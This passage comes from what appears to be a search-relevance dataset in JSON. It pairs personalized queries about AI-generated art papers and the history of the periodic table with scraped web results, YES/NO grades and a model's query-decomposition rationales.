                "text": "Scientists Discover What Was on the Menu of the First Dinosaurs \n\tDec. 16, 2022 \u2014 The earliest dinosaurs included carnivorous, omnivorous and herbivorous species, according to a team of ... \n\t\t Climate Change Played Key Role in Dinosaur Success Story \n\tDec. 16, 2022 \u2014 Climate change, rather than competition, played a key role in the ascendancy of dinosaurs through the Late Triassic and Early Jurassic ... \n\t\t Early Humans May Have First Walked Upright in the Trees \n\tDec. 14, 2022 \u2014 Human bipedalism -- walking upright on two legs -- may have evolved in trees, and not on the ground as previously thought, according to a new ... \n\t\t Extinct 'Monkey Lemur' Shows Similarities to Fossil Humans \n\tDec. 12, 2022 \u2014 Analysis of teeth of extinct lemurs has revealed fascinating clues to the evolution of humans, a new study has ... \n\t\t True Giant Wombat Gives Diprotodon Podium a Wobble \n\tDec. 12, 2022 \u2014 While the Diprotodon -- the extinct megafauna species that is distantly related to wombats but was the size of a small car -- is commonly (but incorrectly) thought of as Australia's 'giant ... \n\t\t Immune System of Modern Papuans Shaped by DNA from Ancient Denisovans, Study Finds \n\tDec. 8, 2022 \u2014 Modern Papuans' immune system likely evolved with a little help from the Denisovans, a mysterious human ancestor who interbred with ancient humans, according to a new ... \n\t\t How Intensive Agriculture Turned a Wild Plant Into a Pervasive Weed \n\tDec. 8, 2022 \u2014 Agriculture is driving rapid evolutionary change, not just on farms but also in wild species in surrounding landscapes, new research has ... \n\t\t Smilodon's Sabre Teeth \n\tDec. 8, 2022 \u2014 Researchers have tested the biting efficiency of Smilodon, an extinct species of carnivore close to the extant felines. Using high-precision 3D scans and simulation methods, the team has just ... \n\t\t Ankylosaurs Battled Each Other as Much as They Fought Off T. Rex \n\tDec. 6, 2022 \u2014 Scientists have found new evidence for how armored dinosaurs used their iconic tail clubs. The exceptional fossil of the an",
                "model_trace": "Query Decomposition:\n1. {news stories}: This document is a news page with multiple news stories -> ([1], SATISFIED)\n2. {recent scientific breakthroughs or discoveries}: The document contains multiple recent discoveries and breakthroughs -> ([1], SATISFIED)\n3. {related to how species evolve and adapt over time}: The document includes multiple articles on evolutionary biology topics, such as dinosaur diets, climate change's impact on dinosaur evolution, human bipedalism, and the evolution of the immune system in modern Papuans -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents and provides relevant and recent news stories related to evolutionary biology. YES."
            }
        ]
    },
    {
        "query": "I'm an artist interested in the intersection of art and technology. I'm looking for a paper that explores how AI and machine learning can be used to generate novel artistic styles or enhance human creativity.",
        "grid_pos": [
            3,
            0
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "The queries cover a diverse range of topics and interests, including machine learning, biology, mathematics, art, and renewable energy. They are personalized to the user's background and needs, and require accessing specialized technical knowledge to find relevant journal articles. The queries are specific and detailed, testing the search engine's ability to understand context and nuance. Some queries may have clear answers, while others are more open-ended. Overall, these queries aim to challenge the search engine to go beyond simple keyword matching and demonstrate a deeper understanding of the user's intent and the underlying subject matter."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Art and the science of generative AI",
                "url": "https://www.science.org/doi/10.1126/science.adh4451",
                "published_date": "2023-06-16",
                "text": "Understanding shifts in creative work will help guide AI\u2019s impact on the media ecosystem pp. - Abstract The capabilities of a new class of tools, colloquially known as generative artificial intelligence (AI), is a topic of much debate. One prominent application thus far is the production of high-quality artistic media for visual arts, concept art, music, and literature, as well as video and animation. For example, diffusion models can synthesize high-quality images ( 1 ), and large language models (LLMs) can produce sensible-sounding and impressive prose and verse in a wide range of contexts ( 2 ). The generative capabilities of these tools are likely to fundamentally alter the creative processes by which creators formulate ideas and put them into production. As creativity is reimagined, so too may be many sectors of society. Understanding the impact of generative AI\u2014and making policy decisions around it\u2014requires new interdisciplinary scientific inquiry into culture, economics, law, algorithms, and the interaction of technology and creativity. Get full access to this article View all available purchase options and get full access to this article. Investigators of Human Creativity Memo Akten1, Hany Farid2, Jessica Fjeld3, Morgan R. Frank4, Matthew Groh5, Laura Herman6,7, Neil Leach8, Robert Mahari3,5, Alex \u201cSandy\u201d Pentland5, Olga Russakovsky9, Hope Schroeder5, Amy Smith10 1University of California, San Diego, San Diego, CA, USA. 2University of California, Berkeley, Berkeley, CA, USA. 3Harvard Law School, Cambridge, MA, USA. 4University of Pittsburgh, Pittsburgh, PA, USA. 5Massachusetts Institute of Technology, Cambridge, MA, USA. 6University of Oxford, Oxford, UK. 7Adobe, Inc., London, UK. 8Florida International University, Miami, FL, USA. 9Princeton University, Princeton, NJ, USA. 10Queen Mary University of London, London, UK. References and Notes 1 R. Rombach et al., Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (2022). pp. 10684\u201310695. 2 A. Vaswani et al., \u201cAttention is all y",
                "model_trace": "Query Decomposition:\n1. [Explores how AI and machine learning can be used to generate novel artistic styles]: The document discusses the capabilities of generative AI, including the production of high-quality artistic media for visual arts, concept art, music, and literature. This subcomponent is clearly met -> ([1], SATISFIED)\n2. [Enhance human creativity]: The document mentions that generative AI tools are likely to fundamentally alter the creative processes by which creators formulate ideas and put them into production. This subcomponent is also clearly met -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document discusses the intersection of art and technology with a focus on how AI and machine learning can generate novel artistic styles and enhance human creativity. YES"
            },
            {
                "grade": "YES",
                "title": "Inventing art styles with no artistic training data",
                "url": "http://arxiv.org/abs/2305.12015",
                "published_date": "2023-05-19",
                "text": "Inventing painting styles through natural inspiration\n\nNilin Abrahamsen \nDepartment of Mathematics\nThe Simons Institute\nTheory of Computing Berkeley\nCAUSA\n\nJiahao Yao jiahaoyao@berkeley.edu \nUniversity of California\nBerkeley BerkeleyCAUSA\n\nInventing painting styles through natural inspiration\n\nWe propose two procedures to create painting styles using models trained only on natural images, providing objective proof that the model is not plagiarizing human art styles. In the first procedure we use the inductive bias from the artistic medium to achieve creative expression. Abstraction is achieved by using a reconstruction loss. The second procedure uses an additional natural image as inspiration to create a new style. These two procedures make it possible to invent new painting styles with no artistic training data. We believe that our approach can help pave the way for the ethical employment of generative AI in art, without infringing upon the originality of human creators.Preprint. Under review.\n\nIntroduction\n\nRecent advances in AI raise important questions about the essence of human creativity and the future trajectory of art work. In the field of visual arts, products such as Midjourney and Dall-E are generating images that arguably pass as human-made art with little effort from the user. These models have been trained on millions of images and artworks from the internet, and many are of the opinion that the models essentially plagiarize the art styles that they have consumed through their training process. Different approaches have been proposed in response to the concern of AI plagiarizing art, including:\n\n1. Cloaking with adversarial perturbations [19,16]. Artists who wish to protect themselves from plagiarism by AI may attempt to perturb their artworks in a way that is imperceptible to the human viewer but is meant to foil the AI training. 2. Combing through training data. Since many artists do not consent to the use of their artworks to train AI, services have appeared which offer to search through datasets",
                "model_trace": "Query Decomposition:\n1. [Intersection of art and technology]: The document discusses the use of AI and machine learning in creating new painting styles, which is directly related to the intersection of art and technology -> ([1], SATISFIED)\n2. [Use of AI and machine learning to generate novel artistic styles]: The document describes procedures to create painting styles using AI models trained only on natural images, which aligns with generating novel artistic styles -> ([1], SATISFIED)\n3. [Enhance human creativity]: The document discusses the ethical employment of generative AI in art and its potential impact on human creativity, suggesting it can enhance human creativity by providing new tools and methods -> ([2], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "CAN: Creative Adversarial Networks, Generating \"Art\" by Learning About Styles and Deviating from Style Norms",
                "url": "https://arxiv.org/abs/1706.07068",
                "published_date": "2017-06-21",
                "text": "CAN: Creative Adversarial Networks Generating \"Art\" by Learning About Styles and Deviating from Style Norms *\n\nDate Published: 2017-06-23\n\nAuthors:\nAhmed Elgammal, Rutgers University, NJ, USA, elgammal@cs.rutgers.edu\nBingchen Liu, Rutgers University, NJ, USA\nMohamed Elhoseiny\nMarian Mazzone\n\nAbstract\n\nWe propose a new system for generating art. The system generates art by looking at art and learning about style; and becomes creative by increasing the arousal potential of the generated art by deviating from the learned styles. We build over Generative Adversarial Networks (GAN), which have shown the ability to learn to generate novel images simulating a given distribution. We argue that such networks are limited in their ability to generate creative products in their original design. We propose modifications to its objective to make it capable of generating creative art by maximizing deviation from established styles and minimizing deviation from art distribution. We conducted experiments to compare the response of human subjects to the generated art with their response to art created by artists. The results show that human subjects could not distinguish art generated by the proposed system from art generated by contemporary artists and shown in top art fairs.\n\n1 Introduction\n\nSince the dawn of Artificial Intelligence, scientists have been exploring the machine's ability to generate human-level creative products such as poetry, stories, jokes, music, paintings, etc., as well as creative problem solving. This ability is fundamental to show that Artificial Intelligence algorithms are in fact intelligent. In terms of visual art, several systems have been proposed to automatically create art, not only in the domain of AI and computational creativity (e.g. [1, 6, 5, 10] ), but also in computer graphics (e.g. [22] ), and machine learning, (e.g. [16, 12] ).\n\nWithin the computational creativity literature, different algorithms have been proposed focused on investigating various and effective ways of exploring the creative",
                "model_trace": "Query Decomposition:\n1. {intersection of art and technology}: The document explores the use of AI and machine learning in generating art, which is at the intersection of art and technology -> ([1], SATISFIED)\n2. {how AI and machine learning can be used to generate novel artistic styles}: The document specifically discusses a system (Creative Adversarial Networks) that generates art by learning about styles and deviating from style norms -> ([1], SATISFIED)\n3. {enhance human creativity}: The document mentions that the generated art was compared with art created by contemporary artists and was indistinguishable, implying an enhancement of creative processes -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "NO",
                "title": "Art and AI. Thinking about the intersection of\u2026 | by Stephanie Kirmer",
                "url": "https://medium.com/@s.kirmer/art-and-ai-c5f5352d8ced",
                "published_date": null,
                "text": "Thinking about the intersection of people and technology in the creative process in the AI era           Photo by russn_fckr on Unsplash   Understanding art is challenging for lots of people, and it can often seem inaccessible. However, I have long been a lover of art (to the point where I almost majored in Art History in college) and eagerly seek out art to better understand human conditions past and present. As a result, bringing people to art and art to people is important to me. Conversations about generative AI creating \u201cart\u201d often focus on the fascinating and important issues of copyright, both in input and output, as well as other legal and cultural questions. Today, however, I\u2019m interested in thinking about the meaning of involving AI in the creative process. Perspectives on this topic run the gamut, from \u201cAI will replace artists completely\u201d to \u201canything involving AI can\u2019t be art\u201d, and I definitely don\u2019t fall into either of those camps. The issues in this space still leave lots of room for discussion. (I am going to only be able to scratch the surface of the topic here\u2014see the end for references of much more in depth articles on this subject from different angles.) Defining Terms It may help to start with talking about what we mean by art and what I mean by AI in this conversation. Regular readers will know I kind of hate the term AI, and try to avoid it for its vagueness, but in this case I\u2019m specifically thinking about generative AI, or machine learning models designed to produce material that replicates the look/feel/sound etc of human creative output. So as we proceed, that\u2019s what I\u2019m referring to\u2014not a random forest telling you the price of a house, and also not some imaginary kind of science fiction AI that doesn\u2019t exist. Defining art is almost harder, and there are whole books on the topic. I\u2019m thinking mostly about visual art, music, or literature/poetry in this conversation \u2014 I don\u2019t think anyone\u2019s worried about AI replacing ballet. But the key to remember is that art is not about simple virtuosi",
                "model_trace": "Query Decomposition:\n1. {Paper that explores how AI and machine learning can be used to generate novel artistic styles or enhance human creativity}: The document is a Medium article discussing the intersection of art and AI, particularly focusing on generative AI and its role in the creative process. However, it is not a formal paper -> ([1], UNSATISFIED)\n2. {Intersection of art and technology}: The document does discuss the intersection of art and AI, which falls under technology -> ([1], SATISFIED)\n3. {AI and machine learning in generating artistic styles or enhancing creativity}: The document mentions generative AI and machine learning models designed to produce material that replicates human creative output, which aligns with this subcomponent -> ([1], SATISFIED)\n\nAssessment: While the document satisfies the subcomponents related to the intersection of art and technology and the use of AI and machine learning in generating artistic styles or enhancing creativity, it does not satisfy the requirement of being a formal paper. Therefore, the document is not helpful for the user's specific request. NO."
            },
            {
                "grade": "YES",
                "title": "The Future of Art: AI, Creativity, and Human Co-Evolution - LinkedIn",
                "url": "https://www.linkedin.com/pulse/future-art-ai-creativity-human-co-evolution-bouchard--pjgdf",
                "published_date": null,
                "text": "Louis-Fran\u00e7ois Bouchard\n      \n      \n          \n          \n          \n            \n        Louis-Fran\u00e7ois Bouchard\n      \n          \n          \n            \n              \n            Making AI accessible. \ud83c\udfa5 What's AI on YouTube. Co-founder at Towards AI. ex-PhD Student.\n                \n            \n              \n                \n          Published Jan 31, 2024\n      \n              \n        \n          \n      \n    \n      \n      \n      \n            \n                \n    \n          Good morning, fellow AI enthusiast! This week's iteration focuses on AI and art with a new episode of the What's AI podcast receiving an amazing artist and CEO of Holo Art, Mariam Brian. \n        \n  \n                \n    \n          I also have the pleasure of providing some cool ethics insights into this art and AI-focused iteration, thanks to our beloved  \n      \n        Auxane Boch\n      \n   .\n        \n  \n                \n    \n          1\ufe0f\u20e3 The Future of Art: AI, Creativity, and Human Co-Evolution - A Talk with Mariam Brian \n     \n  \n                \n    \n          I just had an amazing discussion with  \n      Mariam Brian\n   , CEO of  \n      Holo Art \n   , where art, science, technology, space, and consciousness converge. In this one, receiving an impressive artist, I took the opportunity to explore the intersection of technology and creativity: AI in the realm of art. Mariam shared her deep insights into how AI is not just augmenting but fundamentally transforming artistic expression.\n        \n  \n                \n    \n          We start discussing the revolutionary ways AI is being integrated into the artistic processes. From algorithms that can mimic classical painting techniques to those creating entirely new forms of visual expression. She emphasizes that AI isn't replacing artists but rather evolving as a collaborative tool that enhances human creativity and she  invites all artists, philosophers and \u2026, well, all humans to play and experiment with AI .\n        \n  \n                \n    \n          A significant part of our discu",
                "model_trace": "Query Decomposition:\n1. [A paper that explores how AI and machine learning can be used to generate novel artistic styles]: The document discusses AI's role in transforming artistic expression, including algorithms that mimic classical painting techniques and create new forms of visual expression -> ([1], SATISFIED)\n2. [Enhance human creativity]: The document mentions that AI is evolving as a collaborative tool that enhances human creativity -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents as it discusses how AI and machine learning are used in art to generate new styles and enhance human creativity. YES."
            },
            {
                "grade": "YES",
                "title": "[PDF] AI and the Arts - OII - University of Oxford",
                "url": "https://www.oii.ox.ac.uk/wp-content/uploads/2022/03/040222-AI-and-the-Arts_FINAL.pdf",
                "published_date": null,
                "text": "Abstract\nOur report's cover came out of a conversation between analogue and AI methods used by our illustrator, Alex--and between Alex and the authors.\nThe image on the top left was produced by prompting an AI-backed online text-to-image generator with the title of the report (\"AI and the Arts: How machine learning is changing artistic work\"). The generator used was WOMBO Dream (https://app.wombo.art/).\nThe image on the top right is the report's cover, produced by Alex using the generated image as an artistic prompt.\nSince this process expanded on the conversations about AI and art contained in the report itself, we include a short reflection with Alex here.\nQ: What was it like doing the cover this way? It was great. One of the hardest parts for me is getting the inspiration for a piece, so having the generated image was a great resource. I had this blurred image I could focus in on, where I could see different things I could take forward in my own piece. In the generated image we chose, I could see a mystical landscape, and immediately something clicked. It was really helpful for getting through that first stage of deciding what to do with the composition and the colours. It's a really good starting point.\nQ: So it acted as a prompt more than anything else.\nYes. Sometimes, starting a piece of work, you've got an idea in your head, but later realise that you're rehashing something you've seen. You think, oh no, I'm ripping someone off, I've seen too many things on the internet and I'm taking somebody else's idea. But a generated image is completely unique. It's a nice way to make something original--especially in my field, where people draw inspiration from a lot of the same things.\nQ: Would you use this process in your own practice in the future?\nAfter doing this cover, I'm definitely keen to use more AI tools. I already keep a library of my own images, to try and avoid looking at what everybody else looks at, and to get inspiration for the initial stages. I would use it in the same way--if I needed a compositio",
                "model_trace": "Query Decomposition:\n1. [Explores how AI and machine learning can be used to generate novel artistic styles]: The document discusses the use of an AI-backed online text-to-image generator (WOMBO Dream) to create unique images, which aligns with this subcomponent -> ([1], SATISFIED)\n2. [Enhance human creativity]: The document includes reflections from an artist who used AI-generated images as a prompt to enhance their own creative process, which aligns with this subcomponent -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "I'm a high school student who is really interested in chemistry and I want to learn more about the history and development of the periodic table. Can you recommend any good blog posts or Substack articles that go in-depth on this topic?",
        "grid_pos": [
            3,
            2
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries are diverse, personalized, and focused on finding high-quality, in-depth content on specific topics that the users are interested in. They cover a range of subjects like chemistry, parenting, sports, film criticism, and photography. The queries require the search engine to understand the user's background and interests in order to surface the most relevant Substack or blog post results. Some of the queries also indicate that the users are looking for a more analytical or personal perspective, rather than just general information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The evolution of the periodic table",
                "url": "https://edu.rsc.org/feature/the-evolution-of-the-periodic-table/3009652.article",
                "published_date": "2018-10-22",
                "text": "2019 is International Year of the Periodic Table of Chemical Elements, but how did we get there? The periodic table is known the world over, to scientists and non-scientists. While only scientists might notice if some elements were misplaced, the overall arrangement of little squares containing a number and element symbol is immediately recognisable. It didn\u2019t always look like this though, so let\u2019s explore some of the highlights of its development.\n\nIn your class\n\nThis article describes some of the work of the early scientists that led to the modern periodic table. It introduces students to the importance that knowing reasonably accurate atomic masses played in successfully ordering the elements, and shows that the early scientists were not always correct in their assumptions.\nThe article provides a historical background that fits nicely alongside the curriculum and will be of interest to anyone studying the chemistry of the modern periodic table. The activity will bring a piece of scientific history to life.\n\n1789: Simple substances\nFrench chemist Antoine Lavoisier drew up the first list of so-called \u2018simples\u2019 \u2013 substances which at the time could not be broken down further. He included elements known as \u2018earths\u2019, such as magnesia and barytes, but left out soda and potash since he suspected they could be broken down.\n\nSource: Peter Wothers \n1805: Atomic masses\nThe first table of what we now call atomic masses appeared in print, produced by John Dalton.\nChemists had also begun to establish which elements combined to make certain substances, and what proportions combined to make those substances. This led to hypotheses about the relative masses of elements. By modern standards the values seem poor, but it was difficult to measure combining quantities of elements when they reacted.\n\nRatios\nDalton did not know in what ratios the particles were combining. He usually assumed the \u2018ultimate particles\u2019, or \u2018atoms\u2019 as he later called them, combined in the simplest ratio, 1:1. He thought one particle of water was made up of",
                "model_trace": "[QUERY] I'm a high school student who is really interested in chemistry and I want to learn more about the history and development of the periodic table. Can you recommend any good blog posts or Substack articles that go in-depth on this topic?\n\n[WEBPAGE INFORMATION]\n[TITLE] The evolution of the periodic table\n[URL] https://edu.rsc.org/feature/the-evolution-of-the-periodic-table/3009652.article\n[DATE PUBLISHED] 2018-10-22\n[CONTENT] 2019 is International Year of the Periodic Table of Chemical Elements, but how did we get there? The periodic table is known the world over, to scientists and non-scientists. While only scientists might notice if some elements were misplaced, the overall arrangement of little squares containing a number and element symbol is immediately recognisable. It didn\u2019t always look like this though, so let\u2019s explore some of the highlights of its development.\n\nIn your class\n\nThis article describes some of the work of the early scientists that led to the modern periodic table. It introduces students to the importance that knowing reasonably accurate atomic masses played in successfully ordering the elements, and shows that the early scientists were not always correct in their assumptions.\nThe article provides a historical background that fits nicely alongside the curriculum and will be of interest to anyone studying the chemistry of the modern periodic table. The activity will bring a piece of scientific history to life.\n\n1789: Simple substances\nFrench chemist Antoine Lavoisier drew up the first list of so-called \u2018simples\u2019 \u2013 substances which at the time could not be broken down further. He included elements known as \u2018earths\u2019, such as magnesia and barytes, but left out soda and potash since he suspected they could be broken down.\n\nSource: Peter Wothers \n1805: Atomic masses\nThe first table of what we now call atomic masses appeared in print, produced by John Dalton.\nChemists had also begun to establish which elements combined to make certain substances, and what proportions combined to make those substances. This led to hypotheses about the relative masses of elements. By modern standards the values seem poor, but it was difficult to measure combining quantities of elements when they reacted.\n\nRatios\nDalton did not know in what ratios the particles were combining. He usually assumed the \u2018ultimate particles\u2019, or \u2018atoms\u2019 as he later called them, combined in the simplest ratio, 1:1. He thought one particle of water was made up of\n\nIs this web page useful for this query?\n\nQuery Decomposition:\n1. {high school student interested in chemistry}: The document is targeted at students and fits within the educational curriculum -> ([2], SATISFIED)\n2. {learn more about the history and development of the periodic table}: The document provides a detailed historical background on the development of the periodic table, mentioning key figures and milestones -> ([1], SATISFIED)\n3. {good blog posts or Substack articles}: The document is an article from a reputable educational source, though not specifically a blog post or Substack article -> ([2], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "How the Periodic Table Came Together: The History of Science\u2019s Great Map",
                "url": "https://interestingengineering.com/science/how-the-periodic-table-came-together-the-history-of-sciences-great-map",
                "published_date": "2018-04-18",
                "text": "Get a daily digest of the latest news in tech, science, and technology, delivered right to your mailbox. Subscribe now. By subscribing, you agree to our Terms of Use and Policies You may unsubscribe at any time. The periodic table is, to put it simply, a method of organizing all of the elements currently known to science based on their sizes, electron configurations, and chemical properties. Contrary to popular belief, Dmitri Mendeleev, often cited as the 'father' of the periodic table, was not the first to produce a table. Its current form is, in fact, the culmination of the work of many scientists throughout the ages. In the following article, we'll take a whistle-stop tour of the major events in history that have contributed to the modern periodic table. As this article is more about the history of the table than explaining the science of it, you can watch this video to get an introduction to the periodicity of elements.",
                "model_trace": "Query Decomposition:\n1. {High school student interested in chemistry}: The document does not specifically address high school students, but it is written in a general informative style that could be accessible to them -> ([2], SATISFIED)\n2. {Learn more about the history and development of the periodic table}: The document explicitly covers the history and development of the periodic table, detailing major events and contributions by various scientists -> ([1], SATISFIED)\n3. {Blog posts or Substack articles}: The document is an article from Interesting Engineering, which is not a blog post or Substack article -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {High school student interested in chemistry} and {Learn more about the history and development of the periodic table}. Both of these are satisfied by the document. Despite the document not being a blog post or Substack article, it still provides the in-depth information the user is looking for. YES."
            },
            {
                "grade": "YES",
                "title": "The Evolution of the Periodic System",
                "url": "https://www.scientificamerican.com/article/the-evolution-of-the-periodic-system/",
                "published_date": "2011-01-21",
                "text": "From its origins some 200 years ago, the periodic table has become a vital tool for modern chemists Credit: Slide Show: The Fish Farm Revolution Editor's note: The following is a text-only version. The complete version with artwork is available for purchase here (PDF). \nThe periodic table of the elements is one of the most powerful icons in science: a single document that consolidates much of our knowledge of chemistry. A version hangs on the wall of nearly every chemical laboratory and lecture hall in the world. Indeed, nothing quite like it exists in the other disciplines of science.\n ABOUT THE AUTHOR(S)ERIC R. SCERRI studied chemistry at the universities of London, Cambridge and Southampton. He later earned a Ph.D. in history and philosophy of science from King's College, London. Since arriving in the U.S., he has been a research fellow at the California Institute of Technology and, most recently, has taught chemistry at Bradley University in Peoria, Ill. In January 1999 he will take up a position in the chemistry department at Purdue University. Scerri's research interests lie in the history and philosophy of chemistry, and he is the editor of the interdisciplinary journal Foundations of Chemistry (http://www.cco.caltech.edu/~scerri/ on the World Wide Web). His e-mail address is scerri@bradley.edu Newsletter Get smart. Sign up for our email newsletter.",
                "model_trace": "Query Decomposition:\n1. {High school student interested in chemistry}: The document is accessible and suitable for a high school student interested in chemistry -> ([1], SATISFIED)\n2. {Learn more about the history and development of the periodic table}: The document is specifically about the evolution of the periodic table and its history -> ([1], SATISFIED)\n3. {Good blog posts or Substack articles}: The document is neither a blog post nor a Substack article but an article from Scientific American -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to the user's interest in chemistry and the history and development of the periodic table. While it is not a blog post or Substack article, it is still a highly relevant and informative source. YES."
            },
            {
                "grade": "NO",
                "title": "Yes, we learn about the periodic table in history. No, you' ...",
                "url": "https://community.oerproject.com/b/blog/posts/yes-we-learn-about-the-periodic-table-in-history-no-you-re-not-in-the-wrong-class",
                "published_date": null,
                "text": "By  Rachel Hansen, BHP Teacher  Muscatine, USA \n   Over the new few months we'll be gradually bringing over some of your favorite articles from the old BHP Teacher Blog. Enjoy this throwback piece, originally posted October 1, 2019.   \nI\u2019ll admit, my heart races and my palms get a little sweaty when I think back to my high school chemistry class. We did not exactly see eye to eye. Mr. Hooper put up with a whole lot of sighs, eye rolls, and my futile attempts to wear a glow-in-the-dark periodic table of the elements shirt on test days. I lit a lot of things on fire in that class, including my notebook on the last day of school.\nI tell you all of this so you can appreciate how remarkable it is that today my heart races with the anticipation of studying the history of chemistry. Never in a million years did I think I\u2019d be teaching star formation and the periodic table in my history classroom\u2014and enjoying it! I\u2019ll admit, I even own a periodic table shower curtain. You win, chemistry.\nNow I like to tell my own students: Yes, we learn about the periodic table in here. No, you\u2019re not in the wrong class.  \nTeaching the art of inquiry\nThe thing I most enjoy about teaching Unit 3 is the opportunity to engage students in the art of inquiry. Our driving question encourages students to think beyond the realm of one discipline to get a much fuller and broader perspective of history. How can looking at the same information from different perspectives pave the way for progress? \nHere is how we approach the art of inquiry in this unit.\nConstructing Good Questions\nHow did the stars form? Why does star stuff matter? Why should I believe you? This unit is peppered with the kinds of questions that pique student interest and ignite their curiosity. Here are some of the activities that help them form the kinds of questions that fuel the inquiry process.\nThe Life of Star (Lesson 3.0)\nStudents probably don\u2019t come into your classroom with much background knowledge on how stars form. That\u2019s OK. I bet the four images in this activity will s",
                "model_trace": "[QUERY] I'm a high school student who is really interested in chemistry and I want to learn more about the history and development of the periodic table. Can you recommend any good blog posts or Substack articles that go in-depth on this topic?\n\n[WEBPAGE INFORMATION]\n[TITLE] Yes, we learn about the periodic table in history. No, you' ...\n[URL] https://community.oerproject.com/b/blog/posts/yes-we-learn-about-the-periodic-table-in-history-no-you-re-not-in-the-wrong-class\n[DATE PUBLISHED] None\n[CONTENT] By  Rachel Hansen, BHP Teacher  Muscatine, USA \n   Over the new few months we'll be gradually bringing over some of your favorite articles from the old BHP Teacher Blog. Enjoy this throwback piece, originally posted October 1, 2019.   \nI\u2019ll admit, my heart races and my palms get a little sweaty when I think back to my high school chemistry class. We did not exactly see eye to eye. Mr. Hooper put up with a whole lot of sighs, eye rolls, and my futile attempts to wear a glow-in-the-dark periodic table of the elements shirt on test days. I lit a lot of things on fire in that class, including my notebook on the last day of school.\nI tell you all of this so you can appreciate how remarkable it is that today my heart races with the anticipation of studying the history of chemistry. Never in a million years did I think I\u2019d be teaching star formation and the periodic table in my history classroom\u2014and enjoying it! I\u2019ll admit, I even own a periodic table shower curtain. You win, chemistry.\nNow I like to tell my own students: Yes, we learn about the periodic table in here. No, you\u2019re not in the wrong class.  \nTeaching the art of inquiry\nThe thing I most enjoy about teaching Unit 3 is the opportunity to engage students in the art of inquiry. Our driving question encourages students to think beyond the realm of one discipline to get a much fuller and broader perspective of history. How can looking at the same information from different perspectives pave the way for progress? \nHere is how we approach the art of inquiry in this unit.\nConstructing Good Questions\nHow did the stars form? Why does star stuff matter? Why should I believe you? This unit is peppered with the kinds of questions that pique student interest and ignite their curiosity. Here are some of the activities that help them form the kinds of questions that fuel the inquiry process.\nThe Life of Star (Lesson 3.0)\nStudents probably don\u2019t come into your classroom with much background knowledge on how stars form. That\u2019s OK. I bet the four images in this activity will s\n\nQuery Decomposition:\n1. {high school student interested in chemistry}: This document is written by a high school teacher and relates to teaching high school students -> ([1], SATISFIED)\n2. {history and development of the periodic table}: The document mentions teaching the periodic table in a history classroom but does not go in-depth into the history and development of the periodic table -> ([1], UNSATISFIED)\n3. {good blog posts or Substack articles}: This is a blog post, but it does not go in-depth on the history and development of the periodic table -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {high school student interested in chemistry}, {history and development of the periodic table}, and {good blog posts or Substack articles}. Since the document does not satisfy the latter two subcomponents, it is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Getting to know the periodic table",
                "url": "https://www.sciencenews.org/learning/guide/component/article-based-observation-qa-49",
                "published_date": null,
                "text": "Directions: Ask students to answer the following questions based on the Science News article \u201cThe periodic table turns 150.\u201d\n 1. Before reading the article and based on your prior knowledge, what characteristics does the periodic table have? What is the periodic table\u2019s purpose? \n The periodic table includes all the known elements and organizes the elements into rows and columns. It is ordered, concise and clear. The periodic table typically shows the elements\u2019 chemical symbols, atomic numbers and atomic weights. The table\u2019s purpose is to convey what the elements are, how they are related to one another and to provide some clues to how they behave. It is a useful guide for chemistry students and researchers. \n 2. Why, according to the article, is the anniversary of the periodic table a cause for celebration? \n The periodic table is familiar to everyone. It concisely captures the elements that make up all earthly substances and their relationships. The periodic table reveals deep truths about chemistry and has played an important role in our understanding of the atom and in quantum theory. The birth and evolution of the periodic table is also an interesting story to tell. \n 3. What patterns did 19th century scientists \u2014 including John Dalton, Johann Wolfgang D\u00f6bereiner, John Newlands and Dmitrii Mendeleev \u2014 identify in the elements? \n John Dalton suggested that elements were distinguished from each other by the weight of their atoms. German chemist Johann Wolfgang D\u00f6bereiner noticed that certain \u201ctriads\u201d exist, in which three elements of increasing weight (such that one is the average of the other two) had similar chemical behaviors. John Newlands saw that arranging the elements in order of increasing atomic weight led to a recurring pattern in their chemical properties every eight elements. Dmitrii Mendeleev also noticed the relationship between atomic weight and chemical properties, but found that the pattern was a bit more complicated than Newlands had suggested. \n 4. Why did Dmitrii Mendeleev begin organizing ",
                "model_trace": "Query Decomposition:\n1. {High school student interested in chemistry}: The document is accessible and likely suitable for a high school student -> ([1], SATISFIED)\n2. {Learn more about the history and development of the periodic table}: The document discusses the history and development of the periodic table, including contributions from key scientists -> ([1], SATISFIED)\n3. {Good blog posts or Substack articles}: The document is a Science News article and not a blog post or Substack article -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the key subcomponents of being suitable for a high school student and covering the history and development of the periodic table. The format (Science News article) is not exactly a blog post or Substack article, but it still provides the requested information in an accessible manner. YES."
            },
            {
                "grade": "NO",
                "title": "What chemistry teaches us about life, relationships ... - Vitamin Z",
                "url": "https://vitaminz.substack.com/p/what-chemistry-teaches-us-about-life",
                "published_date": null,
